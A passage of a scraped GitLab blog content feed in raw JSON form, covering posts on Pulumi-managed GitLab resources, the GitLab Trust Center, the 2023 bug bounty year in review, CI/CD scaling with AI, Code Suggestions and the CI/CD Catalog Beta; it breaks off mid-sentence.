request that removes the bucket from your Pulumi program and run the pipelines again. Because Pulumi is declarative, removing the bucket from your program will delete it from AWS.\n\nFinally, run the `pulumi destroy` command again in the Pulumi program with your OIDC and GitLab resources to finish cleaning up.\n\n## Next steps\n\nUsing IaC to define pipelines and other GitLab resources can greatly improve your platform team's ability to reliably and quickly manage the resources to keep application teams delivering. With Pulumi, you also get the power and expressiveness of using popular programming languages to express those resources!\n\nIf you liked what you read here, here are some ways you can enhance your CI/CD pipelines:\n\n- Add [Pulumi Policy Packs](https://www.pulumi.com/docs/using-pulumi/crossguard/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) to your pipeline: Pulumi policy packs allow you to validate that your resources are in compliance with your organization's security and compliance policies. Pulumi's open source [Compliance Ready Policies](https://www.pulumi.com/docs/using-pulumi/crossguard/compliance-ready-policies/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) are a great place to start on your journey. Compliance Ready Policies contain policy rules for the major cloud providers for popular compliance frameworks like PCI-DSS and ISO27001, and policy packs are easy to integrate into your pipelines.\n- Check out [Pulumi ESC (Environments, Secrets, and Configuration)](https://www.pulumi.com/product/esc/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources): Pulumi ESC makes it easy to share static secrets like GitLab tokens and can even [generate dynamic secrets like AWS OIDC credentials](https://www.pulumi.com/blog/esc-env-run-aws/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources). ESC becomes especially useful when using Pulumi at scale because it reduces the duplication of configuration and secrets that are used by multiple Pulumi programs. You don't even have to use Pulumi IaC to benefit from Pulumi ESC - [Pulumi ESC's command line](https://www.pulumi.com/docs/esc-cli/commands/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) can be used with any CLI tool like the AWS CLI.",[110,943,282,232],{"slug":7437,"featured":6,"template":678},"managing-gitlab-resources-with-pulumi","content:en-us:blog:managing-gitlab-resources-with-pulumi.yml","Managing Gitlab Resources With Pulumi","en-us/blog/managing-gitlab-resources-with-pulumi.yml","en-us/blog/managing-gitlab-resources-with-pulumi",{"_path":7443,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7444,"content":7449,"config":7454,"_id":7456,"_type":16,"title":7457,"_source":17,"_file":7458,"_stem":7459,"_extension":20},"/en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance",{"title":7445,"description":7446,"ogTitle":7445,"ogDescription":7446,"noIndex":6,"ogImage":812,"ogUrl":7447,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7447,"schema":7448},"GitLab Trust Center: Welcome to self-service customer assurance","The single, unified trust center provides access to security and privacy collateral, streamlined questionnaire submissions, an interactive knowledge base, and GitLab updates.","https://about.gitlab.com/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Trust Center: Welcome to self-service customer assurance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-01-09\",\n      }",{"title":7445,"description":7446,"authors":7450,"heroImage":812,"date":7451,"body":7452,"category":674,"tags":7453},[1224],"2024-01-09","GitLab, the most comprehensive AI-powered DevSecOps platform, exhibits unity, simplicity, and efficiency. To effectively represent GitLab and support our customers, we created the [GitLab Trust Center](https://trust.gitlab.com), a centralized, interactive, information portal that exhibits the same characteristics.\n\nThe GitLab Trust Center is powered by [SafeBase](http://safebase.io/), which allows us to maintain a single, unified location for communicating our compliance and assurance credentials, hosting our security and privacy documentation for customer consumption, sharing important notices such as responses to third-party breaches, and hosting our internal knowledge base where customers can readily access the same answers we provide in questionnaire responses. The GitLab Trust Center includes a portal for both GitLab.com and GitLab Dedicated.\n\n## Creating the GitLab Trust Center\n\nWhen I joined GitLab in 2022, a single, unified trust center did not exist. We maintained two distinct pages, our \"Trust Center\" page, which primarily highlighted our compliance and assurance credentials, and our Customer Assurance Package (CAP) page, which allowed the community to preview the different CAPs we maintained, review the documents contained within each package, and download/request each package.\n\nWhile these pages allowed us to support our customers' requests, they could be difficult to find and were supported by manual processes to triage inbound requests for security documentation, questionnaires, and other miscellaneous security and privacy requests. We needed to redefine our processes and deploy a trust center that represented GitLab.\n\n![trust center screenshot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099566/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099566270.png)\n\n## The benefits of the GitLab Trust Center\n\nLet's dive into the biggest benefits of the new Trust Center.\n\n### Self-service consumption of security and privacy collateral\n\nCustomers can download all of our available security and privacy collateral directly from the GitLab Trust Center.\n\nFor documents that require an NDA, prospects and customers can sign the NDA directly in SafeBase to receive access to documents in minutes rather than days.\n\n### Streamlined questionnaire submissions\n\nFor customers with questions that are not answered by the available collateral or knowledgebase, the GitLab Trust Center offers an interface to upload questions directly.\n\nCustomers can use the \"Submit a Questionnaire\" button in the upper right corner of the Trust Center to submit a questionnaire or a link to their third-party questionnaire portal.\n\n![trust center questionnaire](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099566/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099566271.png)\n\nThis simple process allows us to centralize our customer assurance activities in a single location and empowers customers to be self-sufficient, which will ultimately accelerate security review processes.\n\n### GitLab updates subscription\n\nCustomers can now subscribe to the GitLab Trust Center for the latest updated collateral documents and communications related to third-party security incidents.\n\nThis proactive approach delivers important and actionable information as quickly as possible and further enables our customers to be self-sufficient through their existing workflows.\n\n![trust center subscribe ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099566/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099566272.png)\n\n### Trust through transparency\n\nAt GitLab, we believe transparency is a critical component of building trust. As a [handbook-first company](https://handbook.gitlab.com/security), we publicize a wealth of information, including all of our [controlled documents](https://handbook.gitlab.com/handbook/security/controlled-document-procedure/) (policies, standards, etc.), many of our internal processes, and much more!\n\nTo fully support our transparent culture and to enable our customers to be as self-sufficient as possible, we have made our knowledge base publicly available through the GitLab Trust Center so all customers can self-serve answers to their questions at any time.\n\nThe knowledge base consists of questions and answers related to many different topics that are typically found in vendor review questionnaires. You can search and filter for the information you need to support your third-party risk management (TPRM) reviews and confirm that GitLab is a trusted partner that will enable your organization to unlock its full potential and develop secure code faster.\n\n## Learn more\n\nTo learn more about our 100% self-service customer assurance process and how you can streamline your TPRM review, visit the [GitLab Trust Center](https://trust.gitlab.com) and explore all of the great content and resources available to you.",[479,2705,674],{"slug":7455,"featured":92,"template":678},"gitlab-trust-center-welcome-to-self-service-customer-assurance","content:en-us:blog:gitlab-trust-center-welcome-to-self-service-customer-assurance.yml","Gitlab Trust Center Welcome To Self Service Customer Assurance","en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance.yml","en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance",{"_path":7461,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7462,"content":7467,"config":7471,"_id":7473,"_type":16,"title":7474,"_source":17,"_file":7475,"_stem":7476,"_extension":20},"/en-us/blog/top-10-gitlab-technical-blogs-of-2023",{"title":7463,"description":7464,"ogTitle":7463,"ogDescription":7464,"noIndex":6,"ogImage":831,"ogUrl":7465,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7465,"schema":7466},"Top 10 GitLab technical blogs of 2023","2023 was a big year! Catch up on expert insights into DevSecOps, AI, CI/CD, and more.","https://about.gitlab.com/blog/top-10-gitlab-technical-blogs-of-2023","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 10 GitLab technical blogs of 2023\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2024-01-09\",\n      }",{"title":7463,"description":7464,"authors":7468,"heroImage":831,"date":7451,"body":7469,"category":962,"tags":7470},[3281],"2023 brought fresh insights from experts across GitLab and beyond —  all of them focused on the challenges and opportunities facing DevSecOps teams. From Lockheed Martin to CARFAX, organizations are trying to understand and unlock the power of technologies such as artificial intelligence (AI), CI/CD, security automation, and more. Our experts provided tips, best practices, and tutorials to use throughout the software development lifecycle.\n\nHere are the top 10 technical blogs from what was an incredible year in DevSecOps innovation.\n\n**1. [Jenkins to GitLab: The ultimate guide to modernizing your CI/CD environment](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)**\nLooking for a smooth transition from Jenkins to GitLab? Follow this step-by-step tutorial to learn how GitLab's integrated CI/CD capabilities help deliver high-quality software faster.\n\n**2. [U.S. Navy Black Pearl: Lessons in championing DevSecOps](https://about.gitlab.com/blog/u-s-navy-black-pearl-lessons-in-championing-devsecops/)**\nSigma Defense's director of engineering details what it's like to manage the U.S. Navy's Black Pearl, which uses GitLab as its DevSecOps platform. The DevSecOps champion relays his experience implementing DevSecOps and the benefits of that decision.\n\n**3. [Quickstart guide for GitLab Remote Development workspaces](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/)**\nEnabling developers to work in their preferred environments empowers DevSecOps teams to build and deliver software more efficiently. With these quickstart instructions, developers can create a workspace, use the Web IDE Terminal to install dependencies or start their server, and view their running application.\n\n**4. [Introducing the GitLab CI/CD Catalog Beta](https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta/)**\nCI/CD catalogs are a game-changer, allowing developers to discover, integrate, and share pre-existing CI/CD components with ease. This tutorial shows how to get the most from this new DevSecOps platform feature.\n\n**5. [Combine GitLab Flow and GitLab Duo for a workflow powerhouse](https://about.gitlab.com/blog/gitlab-flow-duo/)**\nGitLab Flow and GitLab Duo can help organizations achieve significant improvements in end-to-end workflow efficiency that can lead to higher levels of productivity, deployment frequency, code quality and overall security, and production resiliency and availability. Find out how with this step-by-step guide.\n\n**6. [Efficient DevSecOps workflows: Hands-on python-gitlab API automation](https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation/)**\nThe python-gitlab library is a useful abstraction layer for the GitLab API. Dive into hands-on examples and best practices in this tutorial.\n\n**7. [Building GitLab with GitLab: Why there is no MLOps without DevSecOps](https://about.gitlab.com/blog/there-is-no-mlops-without-devsecops/)**\nAt GitLab, we believe in the power of MLOps, especially when combined with DevSecOps. So follow along as our data scientists adopt DevSecOps practices and enjoy the benefits of automation, repeatable workflows, standardization, and automatic provisioning of infrastructure.\n\n**8. [Explore the Dragon Realm: Build a C++ adventure game with a little help from AI](https://about.gitlab.com/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions/)**\nReaders are invited to create a mystical world while learning how to integrate AI into their coding environment. This tutorial demonstrates how to use GitLab Duo Code Suggestions to create a text-based adventure game, including magical locations to visit and items to procure, using C++. \n\n**9. [How GitLab's Red Team automates C2 testing](https://about.gitlab.com/blog/how-gitlabs-red-team-automates-c2-testing/)**\nThe GitLab Red Team conducts security exercises that simulate real-world threats. They apply professional development practices to using the same open source C2 tools as threat actors. In this tutorial, the GitLab Red Team shares how they implement continuous testing for the Mythic framework, their design philosophy, and a public project that can be forked for use by other Red Teams.\n\n**10. [Building GitLab with GitLab: How GitLab.com inspired Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/)**\nThe design of GitLab Dedicated, our single-tenancy SaaS version of the DevSecOps platform, came from the lessons learned while building GitLab.com. In this peek behind the curtains, learn the considerations that sparked different decisions regarding automation, databases, monitoring, availability, and more – and what the outcome was.\n\nSign up for the GitLab newsletter using the form to the right to receive the latest blogs right in your inbox.\n",[790,110,479,943,674,696],{"slug":7472,"featured":92,"template":678},"top-10-gitlab-technical-blogs-of-2023","content:en-us:blog:top-10-gitlab-technical-blogs-of-2023.yml","Top 10 Gitlab Technical Blogs Of 2023","en-us/blog/top-10-gitlab-technical-blogs-of-2023.yml","en-us/blog/top-10-gitlab-technical-blogs-of-2023",{"_path":7478,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7479,"content":7484,"config":7489,"_id":7491,"_type":16,"title":7492,"_source":17,"_file":7493,"_stem":7494,"_extension":20},"/en-us/blog/the-2023-bug-bounty-year-in-review",{"title":7480,"description":7481,"ogTitle":7480,"ogDescription":7481,"noIndex":6,"ogImage":1101,"ogUrl":7482,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7482,"schema":7483},"The 2023 bug bounty year in review","GitLab's bug bounty program had an incredible year. Learn more about the prizes awarded and the bug reporters who won them.","https://about.gitlab.com/blog/the-2023-bug-bounty-year-in-review","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The 2023 bug bounty year in review\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2024-01-04\",\n      }",{"title":7480,"description":7481,"authors":7485,"heroImage":1101,"date":7486,"body":7487,"category":674,"tags":7488},[2890],"2024-01-04","Each year, our [Application Security](https://handbook.gitlab.com/handbook/security/security-engineering/application-security/) team recaps the highlights from the GitLab Bug Bounty Program. Let's go through some statistics from the year that has passed, and celebrate five outstanding researchers from our program.\n\nWe wouldn't be where we are without the collaboration of our bug bounty community, and we consider these awards as hugely beneficial and money well spent. Let's dive into the details!\n\n## 📈 GitLab Bug Bounty Program by the numbers 📈\n\n- Awarded a total of $843,639 USD in bounties across 318 valid reports.\n- Received a total of 1,277 reports from 511 researchers in 2023.\n- Out of the 511 researchers, 449 were new to our program. Hi, new researchers! We see you! 👋\n- Our busiest month was June, when we paid out over $150,000!\n\n_**Note:** Data is accurate as of December 19th, 2023._\n\nYou can see program statistics updated daily on our [HackerOne program page](https://hackerone.com/gitlab).\n\nAs is tradition by now, we want to highlight some of our wonderful reporters. Drum roll, please, for our five reporters of the year... 🥁\n\n## 🏆 2023 reports of the year 🏆\n\n- **Most valid reports to our program**\n   - Congratulations to [mateuszek](https://hackerone.com/mateuszek?type=user) who made 26 valid reports in 2023! A huge effort, which we really appreciate.\n- **Most valid reports from a newcomer to our program**\n   - Welcome and congratulations to [js_noob](https://hackerone.com/js_noob?type=user) who made 19 valid reports in 2023!\n- **Best written reports**\n   - For the second year in a row, [yvvdwf](https://hackerone.com/yvvdwf?type=user) takes the award for consistently writing fantastic reports. The reports are always easy to follow, short and clear steps to reproduce, which the team really appreciates.\n\n- **Most innovative report**\n   - [joaxcar](https://hackerone.com/joaxcar?type=user) dug into some dark, strange places to find [a weird Safari edge case](https://gitlab.com/gitlab-org/gitlab/-/issues/404613). Thank you for your sleuthing! \n\n- **Most impactful finding**\n   - You don't get more impactful than getting a 10 in the world of CVSS – and [pwnie](https://hackerone.com/pwnie?type=user) delivered just that with the discovery of [an arbitrary file read](https://gitlab.com/gitlab-org/gitlab/-/issues/412371). \n\nAs a thank you for their hard work this year, we have organized something special for the researchers mentioned above - they will receive a surprise gift set, with our new GitLab Bug Bounty design (winners, make sure to check your HackerOne emails!). \n\n## ✨ Other happenings in 2023 ✨\nIn 2023, we introduced 90-day challenges, where every 90 days(-ish) we roll out a new challenge. \n\nOur first one was an unauthenticated 0-click remote code execution, and our current one (until 2024-02-20 00:00 UTC) is an account takeover challenge without any user interaction. If you manage this, then we’ll raise the bounty to $50,000, regardless of the CVSS! More details can be found [on our HackerOne program page](https://hackerone.com/gitlab?type=team).\n\nWe also hosted another \"Ask a hacker AMA\"  – this time with @0xn3va. Read the [summary blog post](https://about.gitlab.com/blog/ask-a-hacker/), which includes a link to the recording. \n\nWe look forward to seeing your reports in 2024!",[1938,674],{"slug":7490,"featured":6,"template":678},"the-2023-bug-bounty-year-in-review","content:en-us:blog:the-2023-bug-bounty-year-in-review.yml","The 2023 Bug Bounty Year In Review","en-us/blog/the-2023-bug-bounty-year-in-review.yml","en-us/blog/the-2023-bug-bounty-year-in-review",{"_path":7496,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7497,"content":7503,"config":7508,"_id":7510,"_type":16,"title":7511,"_source":17,"_file":7512,"_stem":7513,"_extension":20},"/en-us/blog/can-your-ci-cd-environment-support-ai-powered-devsecops",{"title":7498,"description":7499,"ogTitle":7498,"ogDescription":7499,"noIndex":6,"ogImage":7500,"ogUrl":7501,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7501,"schema":7502},"Can your CI/CD environment support AI-powered DevSecOps? ","Unlock the value of AI-powered software development with a DevSecOps platform capable of supporting CI/CD hyperscale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683522/Blog/Hero%20Images/AdobeStock_659839979.jpg","https://about.gitlab.com/blog/can-your-ci-cd-environment-support-ai-powered-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Can your CI/CD environment support AI-powered DevSecOps? \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darren Eastman\"}],\n        \"datePublished\": \"2024-01-03\",\n      }",{"title":7498,"description":7499,"authors":7504,"heroImage":7500,"date":7505,"body":7506,"category":791,"tags":7507},[5037],"2024-01-03","Our customers are experiencing a significant increase in the efficiency and pace of software development with [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI capabilities powering your workflow. This will likely correspond to a rise in the two [DORA metrics](https://about.gitlab.com/solutions/value-stream-management/dora/) that measure velocity: deployment frequency and lead time for changes. However, what may not be as obvious is that the age of AI-powered software development has also ushered in a new era of large-scale computing for CI/CD jobs. Organizations will need to learn how to support this CI/CD hyperscale.\n\n## What is CI/CD hyperscale?\n\nAs a quick recap, a [CI/CD](https://about.gitlab.com/topics/ci-cd/) job is a unit of work that is executed on a host computing system each time a developer pushes a code change to a project repository. This core guiding principle has accelerated value creation by software development teams over the past few years. Instead of focusing on the ceremonies of legacy project management, today’s leading software development teams deliver value by adding small increments to a software product regularly – weekly, daily, and even hourly.\n\nThe CI/CD engine supports this modern pattern of software product development by enabling development teams to define automation to continuously build, test, and integrate any new software change. Some of our larger customers who have transformed their software development practices have already attained what we at GitLab have labeled as CI/CD hyperscale. That is, they are typically running 3 million or more CI/CD jobs per month.\n\n## How to support AI-fueled CI/CD growth\n\nWith the advent of AI-powered DevSecOps, we hypothesize that, starting in 2024, organizations will see a 2x increase per year in the number of CI/CD jobs run by development teams leveraging AI-assisted features across the software development lifecycle. Starting with 3 million jobs per month as the baseline and assuming a 2% growth rate per month, the chart below illustrates the potential impact in the growth of CI/CD jobs monthly due to efficiency gains with AI-powered DevSecOps.\n\n![cicd hyperscale chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683548/Blog/Content%20Images/image1.png)\n\nSo, what steps can you take to ensure your organization is positioned for success in this hyper-competitive new age of AI-powered DevSecOps? \n\nHere are a few pointers to get you started:\n\n- Analyze whether you have enabled your development teams – the creators of value – with the flexibility to adopt modern patterns in software product development. \n- Inventory the tools you use to support creative work, including project and task management.\n- Inventory the tools you use for software development and DevOps. Are you using multiple types of CI systems across your environment? If so, the next step is to gain a deeper understanding of why that is. \n- Create a plan to migrate all software development teams from multiple point solutions to one DevSecOps platform. \n\nYour software development teams may have built up extensive tooling using various CI systems and point solutions and may question the return on investment of a potentially time-consuming consolidation and migration effort. However, based on our internal data, customers adopting GitLab [realize payback in less than six months](https://about.gitlab.com/blog/why-the-market-is-moving-to-a-platform-approach-to-devsecops/).  \n\nIf you have already adopted the GitLab AI-powered DevSecOps Platform and are consolidating your platform engineering and software development processes, then you are well on your way to unlocking the value of AI-powered software development and having a solution capable of supporting CI/CD hyperscale. \n\nAs the pioneer of the integrated DevSecOps platform, we have been at the forefront of supporting CI/CD hyperscale for customers running CI/CD workloads on the fully managed GitLab SaaS CI/CD build environment or their own self-managed build infrastructure. That focused investment over the past decade has resulted in the development of the most scalable and flexible CI/CD engine – the core of the GitLab DevSecOps Platform. Look no further than our milestone of [more than 1 billion pipelines run on GitLab's SaaS-based DevSecOps Platform](https://about.gitlab.com/blog/one-billion-pipelines-cicd/). \n\nSo with GitLab CI and GitLab Runner, the ultimate CI/CD execution engine, the GitLab DevSecOps Platform is a solution that provides the foundation to continuously improve and transform your value creation processes while supporting the scale required to meet the competitive demands of the new age of AI.\n\n## Learn how to achieve CI/CD hyperscale\n\nIf you are new to GitLab and are interested in learning how we can help you transform your software development processes, [contact our sales team](https://about.gitlab.com/sales/) to help you with a custom demo and get you going on your adoption of AI-powered DevSecOps.\n",[110,943,790],{"slug":7509,"featured":6,"template":678},"can-your-ci-cd-environment-support-ai-powered-devsecops","content:en-us:blog:can-your-ci-cd-environment-support-ai-powered-devsecops.yml","Can Your Ci Cd Environment Support Ai Powered Devsecops","en-us/blog/can-your-ci-cd-environment-support-ai-powered-devsecops.yml","en-us/blog/can-your-ci-cd-environment-support-ai-powered-devsecops",{"_path":7515,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7516,"content":7521,"config":7526,"_id":7528,"_type":16,"title":7529,"_source":17,"_file":7530,"_stem":7531,"_extension":20},"/en-us/blog/gitlab-duo-code-suggestions-is-generally-available",{"title":7517,"description":7518,"ogTitle":7517,"ogDescription":7518,"noIndex":6,"ogImage":1032,"ogUrl":7519,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7519,"schema":7520},"GitLab Duo Code Suggestions is generally available","Learn how our AI-powered workflow helps developers write secure code efficiently.\n","https://about.gitlab.com/blog/gitlab-duo-code-suggestions-is-generally-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Code Suggestions is generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2023-12-22\",\n      }",{"title":7517,"description":7518,"authors":7522,"heroImage":1032,"date":7523,"body":7524,"category":791,"tags":7525},[1524],"2023-12-22","GitLab Duo Code Suggestions, part of the GitLab Duo suite of AI-powered workflows, is now generally available with GitLab 16.7. [Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/), our generative AI code creation assistant within our DevSecOps platform, helps developers to write secure code more efficiently and assists in improving cycle times by taking care of repetitive, routine coding tasks.\n\nAccording to GitLab's [2023 State of AI in Software Development](https://about.gitlab.com/developer-survey/#ai) report, 83% of DevSecOps professionals said it is essential to implement AI in their software development processes to avoid falling behind, and a majority were interested in using AI for code generation and code suggestions.\n\nAs DevSecOps teams incorporate AI in the software development lifecycle, tapping into easy-to-adopt features like Code Suggestions provides a good entry point to achieve improved efficiency, accuracy, and productivity while not compromising on security and governance.\n\n> [Try Code Suggestions for free](http://about.gitlab.com/solutions/code-suggestions/sales) through February 14.\n\n## Faster development with less context switching\n\nA developer's workload is more than just writing code; it involves extensive context switching to search through documentation, hunt for code examples, and work through trial and error. All of this interrupts the software development process, decreasing time to value.\n\nLeveraging generative AI, Code Suggestions helps boost developers' efficiency and effectiveness by assisting in reducing the time required for coding fundamental functions. It also helps in understanding and extending existing, and sometimes unfamiliar, codebases while helping ensure adherence to security best practices. Code Suggestions includes the following capabilities:\n\n- **Code generation:** automatically generates lines of code, including full functions, from single and multi-line comments as well as comment blocks \n- **Code completion:** automatically proposes new lines of code from a few typed characters\n\nCode Suggestions is available in 15 languages, including C++, C#, Go, Java, JavaScript, Python, PHP, Ruby, Rust, Scala, Kotlin, and TypeScript. GitLab editor extensions can be found in popular IDE marketplaces; VS Code, Visual Studio, JetBrains’ suite of IDEs, and Neovim are all supported. And, of course, Code Suggestions is available within GitLab’s Web IDE, giving developers a quick way to get up and running with GitLab Duo. Support for Code Suggestions is available for self-managed GitLab instances via a secure connection to GitLab cloud infrastructure.\n\nWatch this introduction to Code Suggestions:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ds7SG1wgcVM?si=9J9gX0qs5De2NXUC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Discover more AI capabilities with GitLab Duo\n\nOrganizations can use AI to help streamline the entire DevSecOps lifecycle and ship better, more secure, software faster. GitLab Duo has 15 AI-assisted features that support everyone involved in software development. From planning and coding to testing to delivery, there's a [GitLab Duo](https://about.gitlab.com/gitlab-duo/) capability to help. \n\nFor example, [GitLab Duo Vulnerability Resolution](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#vulnerability-resolution) helps teams remediate vulnerabilities proactively with the assistance of generative AI. In addition, Discussion Summary assists in getting everyone up to speed and aligned on lengthy conversations within [GitLab Enterprise Agile Planning](https://about.gitlab.com/blog/gitlab-enterprise-agile-planning-add-on-for-all-roles/).\n\nOur approach to AI is resonating with our customers. For example, Amado Gramajo, Vice President of Infrastructure & DevOps at Nasdaq, recently shared his excitement about how GitLab Duo will help Nasdaq protect their intellectual property and stay in line with regulatory mandates.\n\nGitLab is the only platform that integrates AI throughout the entire software development lifecycle. As developers become more effective, GitLab helps security and operations team members to keep pace. GitLab has a privacy- and transparency-first approach to AI and [does not use customer code to train AI models](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/index.html#code-suggestions-data-usage). \n\n## Get started with Code Suggestions today\n\nCode Suggestions, which can be trialed for free from December 21 through February 14 (subject to [GitLab’s Testing Agreement](https://handbook.gitlab.com/handbook/legal/testing-agreement/)), is available as an add-on to GitLab subscriptions for an introductory price of $9 USD per user/month. [Contact us today](http://about.gitlab.com/solutions/code-suggestions/sales) to get started with Code Suggestions.\n",[790,736,943],{"slug":7527,"featured":92,"template":678},"gitlab-duo-code-suggestions-is-generally-available","content:en-us:blog:gitlab-duo-code-suggestions-is-generally-available.yml","Gitlab Duo Code Suggestions Is Generally Available","en-us/blog/gitlab-duo-code-suggestions-is-generally-available.yml","en-us/blog/gitlab-duo-code-suggestions-is-generally-available",{"_path":7533,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7534,"content":7541,"config":7545,"_id":7548,"_type":16,"title":7549,"_source":17,"_file":7550,"_stem":7551,"_extension":20},"/en-us/blog/gitlab-16-7-release",{"title":7535,"description":7536,"ogTitle":7535,"ogDescription":7536,"config":7537,"ogImage":7538,"ogUrl":7539,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7539,"schema":7540},"GitLab 16.7 Release","GitLab 16.7 released with general availability of GitLab Duo Code Suggestions and CI/CD Catalog in Beta.\n",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683626/Blog/Hero%20Images/16_7-cover-image.png","https://about.gitlab.com/blog/gitlab-16-7-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 16.7 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jocelyn Eillis\"}],\n        \"datePublished\": \"2023-12-21\",\n      }",{"title":7535,"description":7536,"authors":7542,"heroImage":7538,"date":7543,"body":7544,"category":695},[5950],"2023-12-21","GitLab 16.7 released",{"slug":7546,"featured":92,"template":678,"externalUrl":7547},"gitlab-16-7-release","https://about.gitlab.com/releases/2023/12/21/gitlab-16-7-released/","content:en-us:blog:gitlab-16-7-release.yml","Gitlab 16 7 Release","en-us/blog/gitlab-16-7-release.yml","en-us/blog/gitlab-16-7-release",{"_path":7553,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7554,"content":7560,"config":7564,"_id":7566,"_type":16,"title":7567,"_source":17,"_file":7568,"_stem":7569,"_extension":20},"/en-us/blog/introducing-the-gitlab-ci-cd-catalog-beta",{"title":7555,"description":7556,"ogTitle":7555,"ogDescription":7556,"noIndex":6,"ogImage":7557,"ogUrl":7558,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7558,"schema":7559},"Introducing the GitLab CI/CD Catalog Beta","Discover, reuse, and contribute CI/CD components effortlessly, enhancing collaboration and efficiency when creating pipeline configurations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099399/Blog/Hero%20Images/Blog/Hero%20Images/security-pipelines_4UHVIJlePT8rEzjvYkGYvi_1750099398604.jpg","https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing the GitLab CI/CD Catalog Beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-12-21\",\n      }",{"title":7555,"description":7556,"authors":7561,"heroImage":7557,"date":7543,"body":7562,"category":734,"tags":7563},[691],"DevSecOps is all about speed – achieving rapid progress in software development. To succeed in DevSecOps, organizations require a well-functioning CI/CD pipeline that teams can utilize to automate their development workflows.\n\nHowever, crafting pipeline configurations with YAML can be intricate and challenging because YAML isn't a programming language, Developers may find themselves reinventing the wheel each time they try to create new configurations because they don't have visibility into existing configurations and work that others may have already done, resulting in inefficiency.\n\n[GitLab 16.7](https://about.gitlab.com/releases/2023/12/21/gitlab-16-7-released/) introduces the [CI/CD Catalog](https://docs.gitlab.com/ee/ci/components/#cicd-catalog) (Beta), with the goal of enhancing developer efficiency by addressing three main questions developers encounter when creating pipeline configurations:\n\n* Discoverability: Has someone already created a configuration for my task, and where can I find it?\n* Reusability: Once I find a suitable pipeline, how do I use it effectively?\n* Ease of contribution: I've created a useful configuration; how can I easily share it with the GitLab community?\n\n## What is the GitLab CI/CD Catalog?\n\nThe CI/CD Catalog serves as a centralized hub for developers and organizations to share pre-existing [CI/CD components](https://docs.gitlab.com/ee/ci/components/) and to discover reusable configurations that others may have already developed. Every component published by users will be part of a public catalog accessible to all users, regardless of their organization or project. \n\nThis approach promotes cross-organization collaboration, allowing the entire GitLab community to benefit from the wealth of CI components available. It's a powerful step forward in sharing knowledge among GitLab users, enabling developers to harness the collective expertise of the platform.\n\n## Easy component creation and publishing\n\nIn 